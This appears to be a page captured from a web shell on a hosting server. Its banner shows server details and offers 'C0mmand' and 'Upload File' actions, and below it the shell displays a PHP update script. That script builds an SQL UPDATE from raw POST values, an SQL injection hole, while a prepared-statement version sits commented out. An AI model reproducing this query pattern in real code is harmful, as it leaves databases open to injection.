|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
//update.php
include 'code/init.php' ;
// $connect = new PDO('mysql:host=localhost;dbname=tmcpro', 'root', '');
if(isset($_POST["id"]))
{
// $query = "
// UPDATE prestation_jour_id
// SET title=:title, start_event=:start_event, end_event=:end_event
// WHERE id=:id
// ";
// $statement = $connect->prepare($query);
// $statement->execute(
// array(
// ':title' => $_POST['title'],
// ':start_event' => $_POST['start'],
// ':end_event' => $_POST['end'],
// ':id' => $_POST['id']
// )
// );
$ido=$_POST["id"] ;
dbi_query(" UPDATE prestation_jour SET prestation_jour_heurd = '".$_POST['start']."', prestation_jour_heurf = '".$_POST['end']."' WHERE prestation_jour_id=$ido") ;
}
?>